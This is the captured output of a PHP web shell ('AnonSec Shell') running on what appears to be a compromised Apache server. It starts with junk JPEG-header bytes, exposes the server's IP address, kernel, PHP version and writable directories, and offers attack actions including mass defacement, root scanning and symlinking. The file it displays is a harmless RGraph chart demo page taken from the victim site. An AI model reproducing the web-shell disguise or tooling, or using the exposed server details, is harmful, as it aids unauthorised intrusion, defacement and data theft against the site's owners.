JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/esic/obidos/js/RGraph/demos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/esic/obidos/js/RGraph/demos/bar-combined-vprogress.html
<!DOCTYPE html >
<html>
<head>
    <link rel="stylesheet" href="demos.css" type="text/css" media="screen"/>

    <script src="../libraries/RGraph.common.core.js"></script>
    <script src="../libraries/RGraph.common.dynamic.js"></script>
    <script src="../libraries/RGraph.common.tooltips.js"></script>
    <script src="../libraries/RGraph.common.key.js"></script>
    <script src="../libraries/RGraph.bar.js"></script>
    <script src="../libraries/RGraph.vprogress.js"></script>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
    <!--[if lt IE 9]>
    <script src="../excanvas/excanvas.js"></script><![endif]-->

    <meta name="robots" content="noindex,nofollow"/>
    <meta name="description" content="A Bar chart that has been combined with the VProgress chart"/>


    <style>
        .RGraph_tooltip img {
            display: none;
        }

        .RGraph_tooltip {
            box-shadow: none ! important;
            border: 2px solid blue ! important;
            background-color: white ! important;
            padding: 3px ! important;
            text-align: center;
            font-weight: bold;
            font-family: Verdana;
        }
    </style>
</head>
<body>

<h1>Combined grouped Bar and VProgress chart</h1>

<p>
    A demo of the VProgress bar combined with a grouped Bar chart. It could be used to show different peoples stats over two years
    for example. Red is one year, yellow is the previous. The tooltip styling has been overridden using stylesheets
    and the positioning has been overridden by redefining the .positionTooltip() function on each vertical
    progress bar object (as well as defining a mousemove event on the canvas to update the tooltips position).
</p>

<canvas id="cvs" width="600" height="250"></canvas>
<script>
    $(document).ready(function () {
        var people = ['Rob', 'Luis', 'Kinga'];
        var bar = new RGraph.Bar({
            id: 'cvs',
            data: [[18, 15, 45], [21, 23, 41], [28, 21, 12], [21, 15, 38]],
            options: {
                labels: ['January', 'February', 'March', 'April'],
                hmargin: {
                    self: 20,
                    grouped: 2
                },
                highlight: {
                    fill: 'red'
                },
                key: {
                    self: ['This year', 'Last year'],
                    colors: ['red', 'yellow'],
                    position: {
                        self: 'gutter',
                        gutter: {
                            boxed: false
                        }
                    }
                },
                colors: ['rgba(0,0,0,0)']
            }
        }).draw();


        function DrawBottomAxis(obj) {
            var context = bar.context;
            var x = bar.gutterLeft;
            var y = bar.canvas.height - bar.gutterBottom;
            var w = bar.canvas.width - bar.gutterLeft - bar.gutterRight
            var h = 0;
            context.strokeStyle = 'black';
            context.strokeRect(x, y, w, h);
        }


        /**
         * Now create the VProgress bars
         */
        for (var i = 0, j = 0; i < bar.coords.length; ++i, ++j) {

            if (i % 3 == 0) {
                j = 0;
            }

            var coords = bar.coords[i];

            var vp = new RGraph.VProgress('cvs', 0, 100, [25, 75])
                    .set('gutter.left', coords[0])
                    .set('gutter.top', coords[1])
                    .set('gutter.right', bar.canvas.width - (coords[0] + coords[2]))
                    .set('gutter.bottom', 25)
                    .set('labels.count', 0)
                    .set('tickmarks', false)
                    .set('colors', ['yellow', 'rgba(255,0,0,0.5)'])
                    .set('tooltips', [people[j], people[j]])
                    .set('tooltips.event', 'mousemove')
                    .set('tooltips.effect', 'none')
            vp.set('strokestyle', 'rgba(0,0,0,0)')
            vp.ondraw = DrawBottomAxis
            vp.draw();


            /**
             * Override the function that positions the tooltip and place to the right of
             * the mouse pointer.
             */
            vp.positionTooltip = function (obj, x, y, tooltip, idx) {
                tooltip.style.top = (y - tooltip.offsetHeight - 3) + 'px';
                tooltip.style.left = (x - 3) + 'px';
            }

            vp.canvas.onmousemove = function (e) {
                var tooltip = RGraph.Registry.Get('chart.tooltip');

                if (tooltip) {
                    tooltip.style.top = (e.pageY - tooltip.offsetHeight - 3) + 'px';
                    tooltip.style.left = (e.pageX + 3) + 'px';
                }
            }

            vp.canvas.onmouseout = function (e) {
                RGraph.hideTooltip();
                RGraph.redraw();
            }
        }
    })
</script>

<br/>

</body>
</html>

Anon7 - 2022
AnonSec Team